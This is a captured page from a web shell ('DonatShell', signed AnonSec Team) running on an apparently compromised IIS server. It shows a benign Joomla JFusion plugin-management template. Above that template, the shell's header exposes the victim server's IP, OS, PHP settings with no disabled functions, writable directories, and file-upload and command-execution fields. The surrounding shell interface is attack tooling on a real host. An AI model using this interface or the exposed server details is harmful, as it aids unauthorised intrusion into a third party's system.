DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/administrator/components/com_jfusion/views/plugindisplay/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/administrator/components/com_jfusion/views/plugindisplay/tmpl/default_25.php
<?php
/**
 * @package JFusion
 * @subpackage Views
 * @author JFusion development team
 * @copyright Copyright (C) 2008 JFusion. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 *
 * @var $this jfusionViewplugindisplay
 */

// no direct access
defined('_JEXEC') or die('Restricted access');
JFusionFunctionAdmin::displayDonate();

//load mootools
JHtml::_('behavior.framework', true);
$images = 'components/com_jfusion/images/';
$document = JFactory::getDocument();
$document->addScript('components/com_jfusion/js/File.Upload.js');
?>
<script type="text/javascript">
//<![CDATA[
function changesetting(fieldname, fieldvalue, jname){
    //change the image
    var url = '<?php echo JURI::root() . 'administrator/index.php'; ?>';
    var syncdata = 'jname=' + jname + '&field_name=' + fieldname + '&field_value=' + fieldvalue + '&task=changesettings&option=com_jfusion';
    new Request.JSON({ url: url, method: 'get',

        onRequest: function() {
            showSpinner(jname,fieldname);
        },
        onSuccess: function(JSONobject) {
            $('jfusionError').innerHTML = JSONobject.errormessage;

            //also update the check_encryption and dual_login fields if needed
            if (fieldname == 'master' || fieldname == 'slave') {
                if (fieldvalue == 1 && fieldname == 'master') {
                    //also untick other masters
                    var mtable=$('sortables');
                    var tablelength = mtable.rows.length - 1;
                    for (var i=1; i<=tablelength; i++) {
                        updateJavaScript(mtable.rows[i].id,"master",0);
                    }
                }
                updateJavaScript(jname,"check_encryption",fieldvalue);
                updateJavaScript(jname,"dual_login",fieldvalue);
                //also ensure the opposite value is set for master or slave
                if (fieldvalue == 1) {
                    if (fieldname == 'master') {
                        updateJavaScript(jname,"slave",0);
                    } else {
                        updateJavaScript(jname,"master",0);
                    }
                }
            }
            //update the image and link
            updateJavaScript(jname,fieldname,fieldvalue);
        }, onError: function(JSONobject) {
            jfusionError(JSONobject);
        }

    }).send(syncdata);
}

function updateJavaScript(plugin,field, value) {
    var tdElem = $(plugin + '_' + field);
    var newValue = 0;
    if (value == 1) {
        tdElem.firstChild.firstChild.src = "components/com_jfusion/images/tick.png";
    } else {
        tdElem.firstChild.firstChild.src = "components/com_jfusion/images/cross.png";
        newValue = 1;
    }
    tdElem.firstChild.href = "javascript: changesetting('"+field+"','"+newValue+"','"+plugin+"')";

}

function showSpinner(jname,fieldname) {
    var tdElem = $(jname + '_' + fieldname);
    tdElem.firstChild.firstChild.src = "components/com_jfusion/images/spinner.gif";
}

function copyplugin(jname) {
    var newjname = prompt('Please type in the name to use for the copied plugin. This name must not already be in use.', '');
    if(newjname) {
        var url = '<?php echo JURI::root() . 'administrator/index.php'; ?>';

        // this code will send a data object via a GET request and alert the retrieved data.
        new Request.JSON({url: url ,
            onSuccess: function(JSONobject){
                if(JSONobject.status === true) {
                    //add new row
                    addRow(JSONobject.new_jname, JSONobject.rowhtml);
                }
                alert(JSONobject.message);
            }, onError: function(JSONobject) {
                jfusionError(JSONobject);
            }
        }).get({'option': 'com_jfusion', 'task': 'plugincopy', 'jname': jname, 'new_jname': newjname});
    }
}

function addRow(newjname, rowhtml){
    var div = new Element('div');
    div.set('html', '<table>' + '<tr id="'+newjname+'">'+rowhtml+'</tr>' + '</table>');
    div.getElement('tr').inject($("sort_table"),'top');
    div.dispose();
    initSortables();
}

function initSortables() {
    var url = '<?php echo JURI::root() . 'administrator/index.php'; ?>';

    /* allow for updates of row order */
    var ajaxsync = new Request.JSON({ url: url,
        method: 'get',
        onSuccess: function(JSONobject) {
            if (JSONobject.status === false) {
                alert(JSONobject.message);
            }
        }, onError: function(JSONobject) {
            jfusionError(JSONobject);
        }
    });

    new Sortables('sort_table',{
        /* set options */
        handle: 'div.dragHandles',

        /* initialization stuff here */
        initialize: function() {
            // do nothing yet
        },
        /* once an item is selected */
        onStart: function(el) {
            //a little fancy work to hide the clone which mootools 1.1 doesn't seem to give the option for
            var checkme = $$('div tr#' + el.id);
            if (checkme[1]) {
                checkme[1].setStyle('display','none');
            }
        },

        onComplete: function(el) {
            //build a string of the order
            var sortorder = '';
            var rowcount = 0;
            $$('#sort_table tr').each(function(tr) {
                $(tr.id).setAttribute('class', 'row' + rowcount);
                if (rowcount === 0) {
                    rowcount = 1;
                } else {
                    rowcount = 0;
                }
                sortorder = sortorder +  tr.id  + '|';
            });

            //update the database
            ajaxsync.send('option=com_jfusion&task=saveorder&tmpl=component&sort_order='+sortorder);
        }
    });
}

function deleteplugin(jname) {
    var confirmdelete = confirm('<?php echo JText::_('DELETE',true) . ' ' . JText::_('PLUGIN',true) . ' ' ;?>' + jname + "?");
    if(confirmdelete) {
        //update the database
        var url = '<?php echo JURI::root() . 'administrator/index.php'; ?>';

        // this code will send a data object via a GET request and alert the retrieved data.
        new Request.JSON({url: url ,
            onSuccess: function(JSONobject) {
                if(JSONobject.status ===  true) {
                    var el = $(JSONobject.jname);
                    el.parentNode.removeChild(el);
                }
                alert(JSONobject.message);
            }, onError: function(JSONobject) {
                jfusionError(JSONobject);
            }}).get({'option': 'com_jfusion',
                'task': 'uninstallplugin',
                'jname': jname,
                'tmpl': 'component'});
    }
}

window.addEvent('domready',function() {
	var installGIT = $('installGIT');
	installGIT.set('send',
        { onSuccess: function(JSONobject) {
            $('spinnerGIT').innerHTML = '';
            if (JSON.validate(JSONobject)) {
                var response = JSON.decode(JSONobject);
                if (response.overwrite != 1 && response.status === true) {
                    addRow(response.jname, response.rowhtml);
                }
                alert(response.message);
            } else {
                jfusionError(JSONobject);
            }
        }, data: {
            ajax: true
        }
        });
	installGIT.addEvent('submit', function(e) {
        new Event(e).stop();
        $('spinnerGIT').innerHTML = '<img border="0" alt="loading" src="components/com_jfusion/images/spinner.gif">';
        this.send('?ajax=true');
    });

    var installURL = $('installURL');
    installURL.set('send',
        { onSuccess: function(JSONobject) {
            $('spinnerURL').innerHTML = '';
            if (JSON.validate(JSONobject)) {
                var response = JSON.decode(JSONobject);
                if (response.overwrite != 1 && response.status === true) {
                    addRow(response.jname, response.rowhtml);
                }
                alert(response.message);
            } else {
                jfusionError(JSONobject);
            }
        }
        });
    installURL.addEvent('submit', function(e) {
        new Event(e).stop();
        $('spinnerURL').innerHTML = '<img border="0" alt="loading" src="components/com_jfusion/images/spinner.gif">';
        this.send('?ajax=true');
    });

    var installDIR = $('installDIR');
    installDIR.set('send',
        { onSuccess: function(JSONobject) {
            $('spinnerDIR').innerHTML = '';
            if (JSON.validate(JSONobject)) {
                var response = JSON.decode(JSONobject);
                if (response.overwrite != 1 && response.status === true) {
                    addRow(response.jname, response.rowhtml);
                }
                alert(response.message);
            } else {
                jfusionError(JSONobject);
            }
        }
        });
    installDIR.addEvent('submit', function(e) {
        new Event(e).stop();
        $('spinnerDIR').innerHTML = '<img border="0" alt="loading" src="components/com_jfusion/images/spinner.gif">';
        this.send('?ajax=true');
    });

    var installZIP = $('installZIP');
    installZIP.addEvent('submit', function(e) {
        new Event(e).stop();
        $('spinnerZIP').innerHTML = '<img border="0" alt="loading" src="components/com_jfusion/images/spinner.gif">';
        if (typeof FormData === "undefined") {
            this.submit();
        } else {
            var upload = new File.Upload({
                url:  '<?php echo JURI::root() . 'administrator/index.php'; ?>' ,
                data: {
                    option: 'com_jfusion',
                    task : 'installplugin',
                    installtype : 'upload',
                    ajax : 'true' } ,
                images: ['install_package'],
                onComplete : function (JSONobject) {
                    $('spinnerZIP').innerHTML = '';
                    if (JSON.validate(JSONobject)) {
                        var response = JSON.decode(JSONobject);
                        if (response.overwrite != 1 && response.status === true) {
                            addRow(response.jname, response.rowhtml);
                        }
                        alert(response.message);
                    } else {
                        jfusionError(JSONobject);
                    }
                }
            });
            upload.send();
        }
    });
    initSortables();
});
//]]>
</script>
<div id="jfusionError" style="color:red;"><?php echo $this->errormessage; ?></div>
<form method="post" action="index.php" name="adminForm">
    <input type="hidden" name="option" value="com_jfusion" />
    <input type="hidden" name="task" value="saveorder" />

    <table class="adminlist" style="border-spacing:1px;" id="sortables">
        <thead>
        <tr>
            <th class="title" width="20px;">
            </th>
            <th class="title" align="left">
                <?php echo JText::_('NAME');?>
            </th>
            <th class="title" width="75px" align="center">
                <?php echo JText::_('ACTIONS');?>
            </th>
            <th class="title" align="center">
                <?php echo JText::_('DESCRIPTION');?>
            </th>
            <th class="title" width="40px" align="center">
                <?php echo JText::_('MASTER'); ?>
            </th>
            <th class="title" width="40px" align="center">
                <?php echo JText::_('SLAVE'); ?>
            </th>
            <th class="title" width="40px" align="center">
                <?php echo JText::_('CHECK_ENCRYPTION'); ?>
            </th>
            <th class="title" width="40px" align="center">
                <?php echo JText::_('DUAL_LOGIN');?>
            </th>
            <th class="title" align="center">
                <?php echo JText::_('STATUS');?>
            </th>
            <th class="title" align="center">
                <?php echo JText::_('USERS');?>
            </th>
            <th class="title" align="center">
                <?php echo JText::_('REGISTRATION');?>
            </th>
            <th class="title" align="center">
                <?php echo JText::_('DEFAULT_USERGROUP');?>
            </th>
        </tr>
        </thead>
        <tbody id="sort_table">
        <?php
        //loop through the JFusion plugins
        $row_count = 0;
        foreach($this->plugins as $record) {
            ?>
            <tr id="<?php echo $record->name; ?>" class="row<? echo ($row_count % 2); ?>">
                <?php echo $this->generateRowHTML($record)?>
            </tr>
        <?php
            $row_count++;
        } ?>
        </tbody>
    </table>
    <br />

    <table style="width:100%;">
        <tr>
            <td style="text-align: left;">
                <img src="<?php echo $images; ?>wizard_icon.png" border="0" alt="<?php echo JText::_('WIZARD');?>" style="margin-left: 10px;" /> = <?php echo JText::_('WIZARD');?>
                <img src="<?php echo $images; ?>edit.png" border="0" alt="<?php echo JText::_('EDIT');?>" /> = <?php echo JText::_('EDIT');?>
                <img src="<?php echo $images; ?>copy_icon.png" border="0" alt="<?php echo JText::_('COPY');?>" style="margin-left: 10px;" /> = <?php echo JText::_('COPY');?>
                <img src="<?php echo $images; ?>delete_icon.png" border="0" alt="<?php echo JText::_('DELETE');?>" style="margin-left: 10px;" /> = <?php echo JText::_('DELETE');?>
                <img src="<?php echo $images; ?>info.png" border="0" alt="<?php echo JText::_('INFO');?>" style="margin-left: 10px;" /> = <?php echo JText::_('INFO');?>
            </td>
            <td style="text-align: right;">
                <img src="<?php echo $images; ?>tick.png" border="0" alt="<?php echo JText::_('ENABLED'); ?>" /> = <?php echo JText::_('ENABLED'); ?>
                <img src="<?php echo $images; ?>cross.png" border="0" alt="<?php echo JText::_('DISABLED');?>" style="margin-left: 10px;" /> = <?php echo JText::_('DISABLED');?>
                <img src="<?php echo $images; ?>cross_dim.png" border="0" alt="<?php echo JText::_('CONFIG_FIRST');?>" style="margin-left: 10px;" /> = <?php echo JText::_('CONFIG_FIRST');?>
            </td>
        </tr>
    </table>

</form>
<br/><br/>

<?php echo JText::_('PLUGIN_INSTALL_INSTR'); ?><br/>

<?php if($this->VersionData) {
//display installer data ?>

<form id="installGIT" method="post" action="./index.php" enctype="multipart/form-data">
    <input type="hidden" name="option" value="com_jfusion" />
    <input type="hidden" name="task" value="installplugin" />
    <input type="hidden" name="installtype" value="url" />

    <table class="adminform">
        <tr>
            <td>
                <img src="components/com_jfusion/images/folder_url.png">
            </td>
            <td>
                <table>
                    <tr>
                        <th colspan="2">
                            <?php echo JText::_('INSTALL') . ' ' . JText::_('FROM') . ' JFusion ' .JText::_('SERVER'); ?>
                        </th>
                    </tr>
                    <tr>
                        <td width="120">
                            <label for="install_url2">
                                <?php echo JText::_('PLUGIN') . ' ' . JText::_('NAME'); ?> :
                            </label>
                        </td>
                        <td>
                            <select name="install_url" id="install_url2">
                                <?php
                                /**
                                 * @ignore
                                 * @var $plugin JSimpleXMLElement
                                 */
                                foreach ($this->VersionData as $plugin): ?>
                                    <option value="<?php echo $plugin->getElementByPath('remotefile')->data() ?>"><?php echo $plugin->name() . ' - ' . $plugin->getElementByPath('description')->data(); ?></option>
                                    <?php endforeach; ?>
                            </select>
                            <input type="submit" name="button" id="submitter" />
                            <div id="spinnerGIT">
                            </div>
                        </td>
                    </tr>
                </table>
            </td>
        </tr>
    </table>
</form>
<?php }  else { ?>
    <table class="adminform">
        <tr>
            <td>
                <img src="components/com_jfusion/images/folder_url.png">
            </td>
            <td>
                <table>
                    <tr>
                        <th colspan="2">
                            <?php echo JText::_('INSTALL') . ' ' . JText::_('FROM') . ' JFusion ' .JText::_('SERVER'); ?>
                        </th>
                    </tr>
                    <tr>
                        <td width="120">
                            <label for="install_url2">
                                <?php echo JText::_('PLUGIN') . ' ' . JText::_('NAME'); ?> :
                            </label>
                        </td>
                        <td>
                            <?php echo JText::_('ERROR_LOADING_REMOTE_PLUGIN_DATA_FROM_JFUSION_SERVER'); ?>
                        </td>
                    </tr>
                </table>
            </td>
        </tr>
    </table>
<?php } ?>

<form id="installZIP" method="post" action="index.php" enctype="multipart/form-data">
    <input type="hidden" name="option" value="com_jfusion" />
    <input type="hidden" name="task" value="installplugin" />
    <input type="hidden" name="installtype" value="upload" />
    <table class="adminform">
        <tr>
            <td>
                <img src="components/com_jfusion/images/folder_zip.png">
            </td>
            <td>
                <table>
                    <tr>
                        <th colspan="2">
                            <?php echo JText::_('UPLOAD_PACKAGE'); ?>
                        </th>
                    </tr>
                    <tr>
                        <td width="120">
                            <label for="install_package">
                                <?php echo JText::_('PACKAGE_FILE'); ?> :
                            </label>
                        </td>
                        <td>
                            <input class="input_box" id="install_package" name="install_package" type="file" size="57" />
                            <input type="submit" value="<?php echo JText::_('UPLOAD_FILE'); ?> &amp; <?php echo JText::_('INSTALL'); ?>"/>
                            <div id="spinnerZIP">
                            </div>
                        </td>
                    </tr>
                </table>
            </td>
        </tr>
    </table>
</form>

<form id="installDIR" method="post" action="index.php" enctype="multipart/form-data">
    <input type="hidden" name="option" value="com_jfusion" />
    <input type="hidden" name="task" value="installplugin" />
    <input type="hidden" name="installtype" value="folder" />
    <table class="adminform">
        <tr>
            <td>
                <img src="components/com_jfusion/images/folder_dir.png">
            </td>
            <td>
                <table>
                    <tr>
                        <th colspan="2">
                            <?php echo JText::_('INSTALL_FROM_DIRECTORY'); ?>
                        </th>
                    </tr>
                    <tr>
                        <td width="120"><label for="install_directory">
                            <?php echo JText::_('INSTALL_DIRECTORY'); ?> :
                        </label>
                        </td>
                        <td>
                            <input type="text" id="install_directory" name="install_directory" class="input_box" size="150" value="" />
                            <input type="submit" value="<?php echo JText::_('INSTALL'); ?>"/>
                            <div id="spinnerDIR">
                            </div>
                        </td>
                    </tr>
                </table>
            </td>
        </tr>
    </table>
</form>

<form id="installURL" method="post" action="index.php" enctype="multipart/form-data">
    <input type="hidden" name="option" value="com_jfusion" />
    <input type="hidden" name="task" value="installplugin" />
    <input type="hidden" name="installtype" value="url" />
    <table class="adminform">
        <tr>
            <td>
                <img src="components/com_jfusion/images/folder_url.png">
            </td>
            <td>
                <table>
                    <tr>
                        <th colspan="2">
                            <?php echo JText::_('INSTALL_FROM_URL'); ?>
                        </th>
                    </tr>
                    <tr>
                        <td width="120">
                            <label for="install_url">
                                <?php echo JText::_('INSTALL_URL'); ?> :
                            </label>
                        </td>
                        <td>
                            <input type="text" id="install_url" name="install_url" class="input_box" size="150" value="http://" />
                            <input type="submit" value="<?php echo JText::_('INSTALL'); ?>"/>
                            <div id="spinnerURL">
                            </div>
                        </td>
                    </tr>
                </table>
            </td>
        </tr>
    </table>
</form>


Anon7 - 2022
AnonSec Team